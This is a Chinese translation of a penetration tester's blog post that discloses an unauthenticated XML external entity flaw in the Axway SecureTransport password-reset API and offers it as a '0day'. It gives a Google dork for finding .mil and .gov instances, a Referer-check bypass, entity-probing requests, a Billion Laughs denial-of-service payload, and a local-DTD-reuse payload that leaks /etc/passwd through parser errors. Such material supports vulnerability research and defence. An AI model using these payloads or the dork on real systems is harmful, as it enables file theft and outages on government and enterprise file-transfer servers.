文章来源:https://zero.lol/2019-07-21-axway-securetransport-xml-injection/
当对大公司做渗透测试时,通常我们会发现相同的软件在不同公司中被使用。过去几周我一直在做渗透测试,其间我至少三次遇到过一个名为Axway SecureTransport Login的软件。Axway官网介绍道:
“Axway SecureTransport是一个多协议的MFT网关,用于保护,管理和跟踪企业内部人员的文件传输以及用户社区,云和移动设备安全。 这款产品设计初衷是处理所有事件——从系统,网站,业务线以及合作伙伴之间的大容量高速安全的文件传输,到用户驱动的通信和移动终端。”
它似乎是很关键的设施?Nope
使用Google黑客,看看哪些组织在使用这款软件。
intitle:"Axway SecureTransport" "Login" (site:mil OR site:gov)
正如我在前面说的那样,我在渗透测试过程中遇到Axway SecureTransport login好几次了,决定稍微查看一下。最终我受够了,碰到太多次了,我认为它一定有蹊跷。
毫无疑问,寻找漏洞的第一步是确定攻击面。看起来它是一款企业软件,并且要使用的话需要提供凭据。那么我会尝试坚持使用目前的权限做一些操作。
我做的第一件事是读页面源码(首页)。在一个名为login.js的文件中我发现了以下代码:
var parameters = "<resetPassword><email>" + userEmail + "</email></resetPassword>"; $.ajax({ url : "/api/v1.0/myself/resetPassword", type : 'POST', contentType : 'application/xml', data : parameters, cache : false, success : function(data) { var msg = $.tmpl('<p>${m1}</p><p>${m2}</p>', { m1: _('Your request is now submitted.'), m2: message }); errorPlaceholder.success(msg); } });
简单阅读代码,显然可以看出我们可以发送密码重置邮件(无需身份验证)。还可以看到,在XMLHttpRequest中ContentType被设置为XML,并且用XML数据存储var参数。
这给我们提供了一个很好的攻击模版,我们可以发送一些有效的XML数据。管理员禁用了忘记密码选项,这就是我们看不到它的原因。但是这是完全无效的,因为程序只是从UI层面禁用了它。
打开Burp进行一些快速测试。发送请求https://placeholder/api/v1.0/myself/resetPassword
(GET方式),拦截SecureTransport的请求。响应如下:
很明显,通过报错可知,服务器要求提供Referer标头并且对其进行检查是否属于白名单。Ok,将Referer设置为localhost
,便可轻松绕过。
设置好Referer标头后,接下来尝试发送POST请求,看看会发生什么。
服务器返回错误信息:
{ "message" : "javax.xml.bind.UnmarshalException - with linked exception: [org.xml.sax.SAXParseException; Premature end of file.]" }
该错误信息通常表示服务器尝试解析一个空的XML文档。逐步测试,先随便插入一个标签<test>
,看看反映:
这次服务器返回的报错信息为:
{ "message" : "javax.xml.bind.UnmarshalException: unexpected element (uri:"", local:"test"). Expected elements are <{}resetPassword>" }
很明显,服务器希望收到<resetPassword></resetPassword>
元素,让我们进一步测试看看会发生什么。
从图片可以看到,还需要发送email
标签。我们在payload里添加email
标签,并且在顶部添加XML声明,看看会怎样。
<?xml version="1.0" encoding="UTF-8"?> <resetPassword> <email>[email protected]</email> </resetPassword>
服务器给出响应204...
因为响应没有任何错误,所以我们现在可以确定XML被成功地解析。我之前不相信这点,然而当我在表单中插入有效的email时,服务器反馈的也是204响应。
但不好的一点是,服务器没有反馈出任何有效内容,这意味着我们要盲目探索。好的一点是,当外部实体或dtd声明被禁用时,SAXParser会抛出异常。我们可以综合这两点来确认漏洞,摸索前进。
我们可以随意发送XML数据给服务器,并且服务器将处理这些数据。 考虑到服务器易受XML注入影响,我们还可以尝试带入外部实体。
现在尝试定义一些实体,看看会发生什么。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE resetPassword [
<!ENTITY exists SYSTEM "file:///">
]>
<resetPassword>
<email>&exists;&doesnt;</email>
</resetPassword>
{ "message" : "javax.xml.bind.UnmarshalException - with linked exception: [org.xml.sax.SAXParseException; lineNumber: 6; columnNumber: 25; The entity "doesnt" was referenced, but not declared.]" }
通常如果正确配置了文档类型,将触发异常。如果用户使用的是受限的URI hander(http,ftp,gopher和file),SAXParser也会发生异常,但我没有测试它们。
因为服务器不会返回有效内容,所以我们只能尝试基于报错的XXE或out-of-band XXE。但是在我们测试时,发现Axway SecureTransport似乎安装了某种防火墙,隔绝了所有向外部发出的请求,这使得利用传统XXE攻击方式更加困难。
基于这一点,我的想法是通过Blind-SSRF或加载本地系统上自带的的DTD文件,然后结合Payload内容触发错误。
但是我没有License,拿不到源代码,无法做白盒审计,所以无法映射出内部的攻击。这个漏洞虽然存在,但有一些限制。
XXE漏洞非常有意思,因为它可以反映出各种安全问题。最常见的XXE攻击是通过发送服务端请求来攻击内部服务。
这个软件还易受DoS攻击。在2002年,媒体报道了Billion Laughs攻击事件。 Billion Laughs攻击会使得服务器加载大量实体,耗尽资源然后崩溃。
这种攻击有几个变体,非常有创意 :)
我在维基百科上找到了下面这个payload:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
另一种相对较新颖的技术是本地DTD再利用。目前人们通常都会使用这个技术来绕过XXE攻击的一些限制。通过该技术,我们可以重新定义本地文件系统中已经存在的DTD实体。然后,我们可以成功地让应用程序发生错误。
举个例子,下面是一个DTD再利用攻击的payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE resetPassword [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % expr 'aaa)>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///abcxyz/%file;'>">
%eval;
%error;
<!ELEMENT aa (bb'>
%local_dtd;
]>
<resetPassword></resetPassword>
确实,这很有创意。
如果读者想要了解攻击Axway SecureTransport软件,那么参考本文的漏洞可以帮助你。DTD再利用是一种较新颖的攻击技术,估计在不久之后由于XML解析器和防火墙的完善,我们可以看到更多新鲜的攻击方式。很遗憾没有License,这使我在进一步测试时非常不舒服,我只能测试网络上的目标。
那么各位,请享受0day。